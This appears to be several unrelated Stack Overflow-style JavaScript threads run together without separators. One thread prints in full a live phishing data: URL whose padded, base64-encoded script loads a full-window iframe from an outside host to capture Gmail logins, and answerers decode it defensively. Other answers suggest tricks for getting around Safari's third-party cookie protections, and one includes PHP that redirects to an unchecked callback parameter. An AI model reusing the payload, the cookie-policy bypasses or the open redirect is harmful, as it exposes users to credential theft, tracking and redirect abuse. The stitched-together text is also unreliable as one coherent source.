My JS file has the following code
function changeLanguage(newLang) {
var winLoc = String(this.window.location);
var pos = winLoc.indexOf("lang=");
var spacer = '?';
if(pos >0) {
var curLang = winLoc.substring(pos+5,pos+7);
winLoc = winLoc.replace('lang=' + curLang, 'lang='+newLang);
} else {
if(winLoc.indexOf("?") > 0) {
spacer = '&';
}
winLoc = winLoc + spacer + 'lang=' + newLang;
}
this.window.location = winLoc; //here is the issue
}
I am encountering XSS Cross Site Scripting issue at the highlighted line when scanning the code through HP Fortify Tool.
what can I do here so that HP Fortify doesn't treat this as a vulnerability? Thanks in advance
Assign location using location.assign. It compares origin of your script with desired url before it's assigned.
From link above:
If the assignment can't happen because of a security violation, a DOMException of the SECURITY_ERROR type is thrown. This happens if the origin of the script calling the method is different from the origin of the page originally described by the Location object, mostly when the script is hosted on a different domain.
You can also use location.replace to prevent current page from being saved in session History.
I received an email from a colleague with an attached file that appeared to be on Google Drive, once clicked it led to the following URL, which recreates the Google account login page in order to steal passwords:
data:text/html,https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cscript%20src=data:text/html;base64,ZXZhbChmdW5jdGlvbihwLGEsYyxrLGUsZCl7ZT1mdW5jdGlvbihjKXtyZXR1cm4gY307aWYoIScnLnJlcGxhY2UoL14vLFN0cmluZykpe3doaWxlKGMtLSl7ZFtjXT1rW2NdfHxjfWs9W2Z1bmN0aW9uKGUpe3JldHVybiBkW2VdfV07ZT1mdW5jdGlvbigpe3JldHVybidcXHcrJ307Yz0xfTt3aGlsZShjLS0pe2lmKGtbY10pe3A9cC5yZXBsYWNlKG5ldyBSZWdFeHAoJ1xcYicrZShjKSsnXFxiJywnZycpLGtbY10pfX1yZXR1cm4gcH0oJzMuMi4xNj0iMTUgMTQgMTMgMTcgMTgiOzIxeygyMCgpezE5IDE9My4yLjEyKFwnMVwnKTsxLjEwPVwnNy84LTZcJzsxLjExPVwnOSA2XCc7MS4yMj1cJ1wnOzIuMzEoXCczNFwnKVswXS4yMygxKX0oKSl9MzMoMzUpe30zLjIuMzYuMzc9Ijw0IDM5PVxcIjM4Oi8vMzIuMjYvMjUtMjQvXFwiIDI3PVxcIjI4OiAwOzMwOiA1JTsyOTo1JVxcIj48LzQ+IjsnLDEwLDQwLCd8bGlua3xkb2N1bWVudHx3aW5kb3d8aWZyYW1lfDEwMHxpY29ufGltYWdlfHh8c2hvcnRjdXR8dHlwZXxyZWx8Y3JlYXRlRWxlbWVudHxiZWVufGhhdmV8WW91fHRpdGxlfFNpZ25lZHxvdXR8dmFyfGZ1bmN0aW9ufHRyeXxocmVmfGFwcGVuZENoaWxkfGNvbnRlbnR8d3B8Y2x1YnxzdHlsZXxib3JkZXJ8aGVpZ2h0fHdpZHRofGdldEVsZW1lbnRzQnlUYWdOYW1lfGJsdWV2b2ljZXBnaHxjYXRjaHxoZWFkfGV8Ym9keXxvdXRlckhUTUx8aHR0cHxzcmMnLnNwbGl0KCd8JyksMCx7fSkpCg==%3E%3C/script%3E
From the script is there any way of identifying where the information is being sent, had I put in my email address and password?
Let's break down the attack as far as we can :
it's a url, starting off with the basic gmail login link, which sets a few request variables to automatically login if possible.
data:text/html,https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue
This is followed by a large amount of empty spaces, intended to hide the malicious payload from view in the browser address bar.
%20%20%20%20%20%20%20%20%20%20%20% (etc)
now follows the payload for the victim. it's base64 encoded.
when we decode it, it looks like this :
eval(function (p, a, c, k, e, d)
{
e = function (c)
{
return c
};
if (!''.replace(/^/, String))
{
while (c--)
{
d[c] = k[c] || c
}
k = [function (e)
{
return d[e]
}
];
e = function ()
{
return '\\w+'
};
c = 1
};
while (c--)
{
if (k[c])
{
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
}
('3.2.16="15 14 13 17 18";21{(20(){19 1=3.2.12(\'1\');1.10=\'7/8-6\';1.11=\'9 6\';1.22=\'\';2.31(\'34\')[0].23(1)}())}33(35){}3.2.36.37="<4 39=\\"38://32.26/25-24/\\" 27=\\"28: 0;30: 5%;29:5%\\"></4>";', 10, 40, '|link|document|window|iframe|100|icon|image|x|shortcut|type|rel|createElement|been|have|You|title|Signed|out|var|function|try|href|appendChild|content|wp|club|style|border|height|width|getElementsByTagName|bluevoicepgh|catch|head|e|body|outerHTML|http|src'.split('|'), 0, {}
))
this, is evil, obfuscated javascript. do not execute it.
martinstoeckli's answer contains the expanded version of this script.
it sets the title of your current tab to mimick the 'you have been signed out' page of gMail, and alters the page, adding a screen-filling iframe with no borders.
The iFrame points at (what appears to be) a compromised wordpress site, that contains a faked gmail login page.
Upon entering credentials into the fake page hosted on bluevoicepgh.club (someone might want to notify these people that their wordpress website is probably compromised), you are then redirected to the gmail page that had silently logged you in in the background. this happens regardless of whether the credentials you entered into the fake login page were correct or not.
If you had indeed entered valid credentials into that page, there is no telling where it would have gone unless you could look at the script behind it.
Keep in mind, that (thankfully) in its current form, the attack won't work properly since google's login page uses https (and enforces use of https).
As chrome reminds us when the script is executed :
Mixed Content: The page at 'https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false…9keXxvdXRlckhUTUx8aHR0cHxzcmMnLnNwbGl0KCd8JyksMCx7fSkpCg==%3E%3C/script%3E' was loaded over HTTPS, but requested an insecure resource 'http://bluevoicepgh.club/wp-content/'. This request has been blocked; the content must be served over HTTPS.
The script cannot work, because google is sending the x-frame-options = deny (it is upon the browser to respect this header), but the intention of the link seems like this:
The %20 are blanks, this way one hopes to hide the content of the URL, because the following content could be out of the visible area.
The script itself tries to put the valid page into a (probably invisible) frame using the whole window. Whatever you click on this page, can be intercepted by the malicious page.
Maybe someone wants to analyse the frame, but it should be done with care, the malicious domain is bluevoicepgh.
window.document.title = "You have been Signed out";
try {
(function() {
var link = window.document.createElement('link');
link.type = 'image/x-icon';
link.rel = 'shortcut icon';
link.href = '';
document.getElementsByTagName('head')[0].appendChild(link)
}())
} catch (e) {}
window.document.body.outerHTML = "<iframe src=\"http://!!maliciousdomain!!.club/wp-content/\" style=\"border: 0;width: 100%;height:100%\"></iframe>";
The best way to figure it out is, when it prompts you to enter your credentials, check in which domain you are actually in. If it is google domain then its ok, if not then it's something related to Phishing.
Here you should be very careful in checking the domain, the attackers play a trick, if the domain is google they create very similar something like gooogle or geogle something. So Carefully check the domain.
I am having a bizarre issue that I'm thinking may be a Chrome bug or possibly a bug with Visual Studio. My script is getting loaded twice. To verify the issue I created a test script that sets a cookie with a timestamp to show the code is getting appended twice. If I navigate to the page via a hyperlink it works fine. Also if I hit the back and forth buttons it also works fine -- but if I manually type the url for the second page in the browser it calls the script twice.
This only happens in Chrome and only when using a Asp.Net Web Application. If I use a Asp.Net website, it does not occur. These are new empty web applications with no extra files or settings changed.
My example html pages look like this:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Page 1</title>
<script src="chromebug.js"></script>
</head>
<body>
<h1>Page 1</h1>
Page 1
Page 2
Page 3
</body>
</html>
And the chromebug.js look like this:
function getCookieTest(name) {
var cookie, cookies = document.cookie.split(';');
name = name + '=';
while ((cookie = cookies.pop())) {
cookie = cookie.replace(/^\s+/, '');
if (cookie.indexOf(name) === 0) {
return cookie.substring(name.length, cookie.length);
}
}
return null;
}
function setCookieTest(name, value, secs) {
var c;
if (secs > 0) {
c = new Date();
c.setSeconds(c.getSeconds() + secs);
c = name + '=' + value + '; expires=' + c.toGMTString() + '; path=/';
} else {
c = name + '=' + value + '; path=/';
}
document.cookie = c;
return
}
console.log('chromebug loaded');
var getdata = getCookieTest('loaded') || '';
setCookieTest('loaded', getdata.toString() + document.title + ':' + new Date().getTime().toString() + '|', 10000);
getdata = getCookieTest('loaded');
console.log(getdata); // show what has been saved in the cookie
Am I missing something? Any way to work around this?
I even created a video where the issue is demonstrated:
http://screencast.com/t/MpXfbDMBvfY
Thanks so much to stdob for pointing me to the Live HTTP Headers extension. I'd recommend it if you are having a similar issue.
https://chrome.google.com/webstore/detail/live-http-headers/iaiioopjkcekapmldfgbebdclcnpgnlo?hl=en
The issue in my case is with the Google Chrome prefetch optimization. When you type in the address bar, Google anticipates the page you will be loading and starts pulling down the scripts. If your script preforms some loading or cookie action upon loading this is problematic. When you uncheck this option you should see the duplicate loads go away.
However this is an easy way to control this without changing your settings. This is especially important since you have no control over your end-user's settings.
if (document.webkitVisibilityState && document.webkitVisibilityState == 'prerender') {
// avoid performing load logic
}
It's look like Chrome have non-obvious behavior when user manualy typing url in address bar. You can use some tools like Chrome live http headers to catch this behavior.
Now that I discovered here that I can't write JavaScript within one page to enter form data on another external page, I'd like to do this with a browser-based bookmarklet instead.
I'm able to access the data on my original page with this bookmarklet code snippet:
javascript:var%20thecode=document.myForm.myTextArea.value;
If I open the external Web-based form manually in the browser, this code changes what's in the text box:
javascript:void(document.externalForm.externalTextArea.value="HELLO WORLD"));
And this bookmarklet code will open a new browser window with the external form:
javascript:newWindow=window.open("http://www.url.com","newWindow");if(window.focus){void(newWindow.focus());}
However, when I try to put these snippets together in a single bookmarklet to open the external form in a new window and change the data inside, I can't access any of the elements in newWindow. For example, this doesn't work to check the existing value of the text area in the new window
javascript:var%20newWindow=window.open("http://www.url.com","newWindow");if(window.focus){void(newWindow.focus());}window.alert(newWindow.document.externalForm.externalTextArea.value);
Once I use the bookmarklet code to open the new window as newWindow, I don't seem to be able to access the elements within that new window. Any suggestions what I'm missing? Thanks.
That's because the bookmarklet runs within the sandbox (the environment) of the current web page. Since you're not allowed to access (the DOM of) another page which doesn't have the same protocol, domain name and port, you're not able to access the document property of newWindow when protocols, domains and ports don't match. BTW, the same is true for accessing iframes on a page.
As you're talking about an “external form”, I guess you don't stay on the same domain. The other examples retrieve or manipulate data on the current page (at that moment) and won't error out.
Also see Same origin policy.
Update: About the Delicious (et al.) bookmarklet: its code actually reads:
(function () {
f = 'http://delicious.com/save?url=' + encodeURIComponent(window.location.href) + '&title=' + encodeURIComponent(document.title) + '&v=5&';
a = function () {
if (!window.open(f + 'noui=1&jump=doclose', 'deliciousuiv5', 'location=yes,links=no,scrollbars=no,toolbar=no,width=550,height=550'))
location.href = f + 'jump=yes'
};
if (/Firefox/.test(navigator.userAgent)) {
setTimeout(a, 0)
} else {
a()
}
})()
So, yes, the parameters are only transferred using a GET request.
I have to call domain A.com (which sets the cookies with http) from domain B.com.
All I do on domain B.com is (javascript):
var head = document.getElementsByTagName("head")[0];
var script = document.createElement("script");
script.src = "A.com/setCookie?cache=1231213123";
head.appendChild(script);
This sets the cookie on A.com on every browser I've tested, except Safari.
Amazingly this works in IE6, even without the P3P headers.
Is there any way to make this work in Safari?
From the Safari Developer FAQ:
Safari ships with a conservative cookie policy which limits cookie writes to only the pages chosen ("navigated to") by the user. This default conservative policy may confuse frame based sites that attempt to write cookies and fail.
I have found no way to get around this.
If it's worth anything, Chrome doesn't set the cookies either if you use the <script> appending method, but if you have a hidden <img> with the same source, Chrome works in addition to the rest of the browsers (except, again, Safari)
Here is a solution which works:
http://anantgarg.com/2010/02/18/cross-domain-cookies-in-safari/
This might not work for everyone, but I came across this issue because I was serving a React App from a different host than the API, and the solution that ultimately worked was to use DNS:
Our client was being served from www.company-name.com and our API was on company-name.herokuapp.com. By making a CNAME record api.company-name.com --> company-name.herokuapp.com, and having our client use that subdomain for API calls, Safari stopped considering it a "third-party" cookie.
The upside is that there's very little code involved, and it's all using well-established stuff... The downside is that you need some control/ownership over the API host if you're going to use https - they need a certificate that's valid for the client domain, or users will get a certificate warning - so this wouldn't work (at least not for something end-user-facing) if the API in question isn't yours or a partner's.
Working method 2014-2016:
You have to do window.open to the domain / assign a cookie / close the popup, the domain is now safelisted.
Original post # PHP multiple cookies not working on iPad / iPhone browser
There is a bit of an evil trick assuming they have flash installed.
I'm not sure if it still works or not, but Flash'es "Local Shared Objects" aka Flash Cookies could help you circumnavigate Safari's same-domain policies.
Local Shared Object Tutorial
However, it may be complicated to implement, to say the least.
Wiki Article on LSO's
Additonally, LSO's are comming into the light as being a security nightmare:
Electronic Privacy Information Centre on LSO's
Flash Cookies: The Silent Privacy Killer
So think carefully before using them.
A post to a hidden <iframe> can allow you to by-pass this restriction in Safari -- http://gist.github.com/586182:
<?php
header('P3P: CP=HONK');
setcookie('test_cookie', '1', 0, '/');
?>
<div id="test_cookie" style="position: absolute; top: -10000px"></div>
<script>
window.setTimeout(function() {
if (document.cookie.indexOf('test_cookie=1') < 0) {
var
name = 'test_cookie',
div = document.getElementById(name),
iframe = document.createElement('iframe'),
form = document.createElement('form');
iframe.name = name;
iframe.src = 'javascript:false';
div.appendChild(iframe);
form.action = location.toString();
form.method = 'POST';
form.target = name;
div.appendChild(form);
form.submit();
}
}, 10);
</script>
There is a proper workaround for this working in 2015. Let's say there is website y.com which includes iframe with site x.com. The x.com iframe wants to store a cookie. That is not permitted by Safari policy, however, y.com is able to store it. So y.com must listen to messages from x.com and then store the cookie itself.
var _cookieEvMth = window.addEventListener ? "addEventListener" : "attachEvent";
var _cookieEvAction = window[_cookieEvMth];
var _cookieEv = _cookieEvMth == "attachEvent" ? "onmessage" : "message";
_cookieEvAction(_cookieEv, function(evt){
if(evt.data.indexOf('cookieset')!=-1){
var datack = evt.data.split('|');
YOUR_CUSTOM_COOKIE_SAVE_METHOD(datack[1],datack[2],datack[3]);
}
},false);
When x.com needs to store the cookie, it must post a message to y.com:
window.parent.postMessage('cookieset|'+ckName+'|'+ckVal+'|'+days,'*');
Also you can work your way to post message to the iframe if you want to read the cookie. Or you can include it as parameter in x.com iframe url using javascript:
iframe.setAttribute('url','x.com/?cookieval='+YOUR_COOKIE_GET_METHOD('cookiename'));
A workaround we just came up with at my job was to set the cookie via a window.open() - it may not be optimal for you (as you'll have an ugly ass popup window open), but it worked well for us. We had to have a popup window open anyway for OAuth authentication.
So the jist of what we did was:
User clicks a link from B.com
Popup window opens to A.com/setCookie
A.com sets its cookie, and then redirects to B.com in the proper place
Again, not valid in all solutions, but it worked in ours. Hope this helps.
I know this question is rather old, but this helped me to solve cookies problem:
var cookieForm = document.createElement("form");
cookieForm.action = "A.com/setCookie?cache=1231213123";
cookieForm.method = "post";
document.body.appendChild(cookieForm);
cookieForm.submit();
The idea to make a form post on a page that sets your cookies.
*EDIT*
This workaround has been reported closed in WebKit.
Luca,
Ok, so this answer is two years old, but... you can set a cookie from an iframe if you post a form to a hidden iframe. You can do this by creating a form:
<form id="myiframe" action="http://yourdomain.com" method="POST" target="iframe_target">
Then in Javascript, get a reference to the form and call submit:
document.getElementsByTagName('form')[0].submit();
You can listen to the iframe's onload, or you can have your iframe action page issue some javascript that signals the load. I have tested this in Safari and Chrome, and it works.
Cheers.
Perhaps pragmatically create and click a link with an href="A.com/setCookie?cache=1231213123" and a target attribute pointing to a hidden iframe. That may bypass Safari's policy of user navigation for setting cookies (I don't have Safari handy to test.)
I did some extensive investigation around this when I was trying to deploy a site that used Windows Live ID, which depended on the ability to be able to set 3rd party cookies in order to log out. It just... didn't work. Nothing we could do would get it to work. The Live ID team also did extensive investigation and their answer was "can't make it work".
Note this line:
script.src = "A.com/setCookie?cache=1231213123";
I could not get this working until I added the http, i.e.
script.src = "http://A.com/setCookie?cache=1231213123";
I found a simple solution. You just need for first time setting cookie to check if request come from the same origin or not, if not as usual you need to return into iframe a script that will repeat this request, already having permission to assign cookie. After that you can do other request directly through iframe accessing this cookie. This helped me in my tracking system. Try, this works well.
Its worth noting that this restriction in Safari doesn't apply across subdomains. So if you directly visit sitea.com, then you can set cookies from subdomain.sitea.com without direct user interaction (iframe/JavaScript).
This was relevant for my case when developing an API. If you're visitors are arriving at mysite.com, and then you want some JavaScript to interact with your API, then if the API is hosted at api.mysite.com, then it will work on Safari.
Place this JavaScript on the page making cross-domain requests, http://example1.com/index.html:
<script>
var gup = function(name, url) {
if(!url) url = location.href;
name = name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
var regexS = "[\\?&]"+name+"=([^&#]*)";
var regex = new RegExp( regexS );
var results = regex.exec( url );
return results == null ? null : results[1];
}
var isSafari = navigator.vendor && navigator.vendor.indexOf('Apple') > -1 && navigator.userAgent && !navigator.userAgent.match('CriOS');
var n = gup("activated");
if(isSafari && n == null) {
//browser is Safari and cookies have not yet been activated
var current_url = location.protocol + '//' + location.host + location.pathname;
var query_string = '?callback=' + encodeURIComponent(current_url + '?activated=1');
var new_url = 'http://example2.com/activate.php' + query_string;
window.location.href = new_url;
}
//the rest of your code goes here, and you can now set cross-domain cookies on Safari
</script>
Then create a file on the other server, which needs to set cookies, http://example2.com/activate.php:
<?php
if(isset($_GET['callback'])) {
header('Location: '.$_GET['callback']);
exit();
} else {
//in case callback param is not set, simply go back to previous page
echo "<script>";
echo "window.history.back();";
echo "</script>";
exit();
}
?>
Here's how this works:
When http://example1.com/index.html is first visited, a check is made to see whether the browser is Safari and whether a GET parameter of the name "activated" does not exist. If both conditions are met (which will happen on the first visit for a Safari browser), then the browser is redirected to http://example2.com/activate.php with a GET parameter, "callback", containing the calling URL appended with an "activated" parameter.
http://example2.com/activate.php simply redirects back to the URL contained in the GET parameter, "callback".
When http://example1.index.html is now hit this second time after being redirected-to, the GET parameter, "activated" will now be set, so the conditional from step 1 will not execute, thus allowing the script to continue execution.
This fulfills Safari's requirement of having the browser visit the 3rd party domain at least once in order to start setting cookies.
Try something like:
var w = window.open("A.com/setCookie?cache=1231213123");
w.close();
It may bypass safari's security policy.
It isn't the missing type-attribute thats annoying you ?-)
<script type="text/javascript">
var head = document.getElementsByTagName("head")[0];
var script = document.createElement("script");
script.setAttribute("type","text/javascript");
script.src = "A.com/setCookie?cache=1231213123";
head.appendChild(script);
</script>